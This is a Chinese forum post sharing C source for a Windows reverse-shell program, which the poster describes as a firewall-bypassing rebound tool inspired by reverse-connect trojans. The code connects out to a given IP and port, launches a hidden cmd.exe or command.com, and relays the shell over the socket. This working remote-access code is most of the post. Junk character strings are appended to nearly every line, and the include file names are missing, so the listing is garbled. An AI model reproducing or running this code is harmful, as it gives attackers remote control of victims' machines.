社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 4610阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [ qiOd!  
$ cq!RgRn  
/* ============================== 7iP5T  
Rebound port in Windows NT ?C}sR:K/  
By wind,2006/7 ^ZR8s^X  
===============================*/ O"qR}W  
#include ):S!Nl  
#include 2pz4rc  
$1~c_<DN  
#pragma comment(lib,"wsock32.lib") uw_H:-J  
=w6}\ 'X  
void OutputShell(); Oohq9f#!  
SOCKET sClient; )qmFK .;%  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; goB;EWz  
Ym'7vW#~  
void main(int argc,char **argv) {b2 aL7  
{ p(.N(c  
WSADATA stWsaData; <E SvvTf  
int nRet; U3/8A:$y  
SOCKADDR_IN stSaiClient,stSaiServer; 0F1u W>D1  
# J]~  
if(argc != 3) ;t|,nz4kJ  
{ aF!WIvir  
printf("Useage:\n\rRebound DestIP DestPort\n"); ~ibF M5m  
return; @/LiR>,  
} I :@|^PYw  
Mo_$b8i  
WSAStartup(MAKEWORD(2,2),&stWsaData); bTiBmS  
ZEqE$:  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u7[pLtOwN  
$]1qbE+  
stSaiClient.sin_family = AF_INET; l**3%cTb  
stSaiClient.sin_port = htons(0); P0)AU i  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 0TmZ*?3!4  
z#RuwB+  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2qlIy  
{ 7u|%^Ao6  
printf("Bind Socket Failed!\n"); {d,?bs)  
return; 3+%nn+m  
} z<i,D08|d  
;7L;  
stSaiServer.sin_family = AF_INET; ~~@y_e[N#l  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); =D5wqCT(Q  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); S_$nCyaH2  
eKyqU9  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) SetX#e?q~  
{ 8A!'I<S1  
printf("Connect Error!"); 2Y$  
return; :kt/$S^-  
} $C$ub&D ~"  
OutputShell(); H~eGgm;p  
} [<Q4U{F  
?;_O 9  
void OutputShell() B>,A(X&  
{ e+{BJN vz  
char szBuff[1024]; lA]N04 d  
SECURITY_ATTRIBUTES stSecurityAttributes; W6i3Psjsw  
OSVERSIONINFO stOsversionInfo; qW3x{L$c  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; m2Q$+p@  
STARTUPINFO stStartupInfo; i\  "{#  
char *szShell; EWO /u.z  
PROCESS_INFORMATION stProcessInformation; @%:E  }  
unsigned long lBytesRead; kf'=%]9#_T  
@+E7w6>%  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 6^ab@GrN\  
I3PQdAs~&h  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *x!LKIpv  
stSecurityAttributes.lpSecurityDescriptor = 0; &Q~)]|t  
stSecurityAttributes.bInheritHandle = TRUE; UhdqY]  
G1/Gq.<  
.zIgbv s  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); m@[3~ 6A  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /S[?{QA  
f7 wm w2  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); o[oqPN3$Y  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x)$2nonM  
stStartupInfo.wShowWindow = SW_HIDE; h9jc,X u5X  
stStartupInfo.hStdInput = hReadPipe; Sk$KqHX(  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;  E>"8 /  
($'V& x8T  
GetVersionEx(&stOsversionInfo); .lr5!Stb  
~?d>fR:X  
switch(stOsversionInfo.dwPlatformId) ;Yv14{T!  
{ hJLT!33:  
case 1: {!r#f(?uT  
szShell = "command.com"; _ ~[M+IO   
break; 1fRP1  
default: )(]Envb?A0  
szShell = "cmd.exe"; Bq;1^gtpe  
break; 4kh8W~i;/  
} =+\$e1Mb*  
O+b6lg)q  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); AOAO8%|I  
\OY}GRKt  
send(sClient,szMsg,77,0); /?U!y?t&@  
while(1) 2lo:a{}j  
{ |EEi&GOR(y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); &Sa~/!M  
if(lBytesRead) 7D9]R#-K  
{ 1yS&~ y?a  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); QAUykS8  
send(sClient,szBuff,lBytesRead,0); ~ aA;<#  
} t#~XLCE  
else _*n)mlLln  
{ 7@3sUA_Go  
lBytesRead=recv(sClient,szBuff,1024,0); \XDmK   
if(lBytesRead<=0) break; [8z&-'J=  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); H?{ MRe  
} a'A s  
} JnHNkCaU  
]'UgZsJ  
return; yV2e5/i  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
10+5=?,请输入中文答案:十五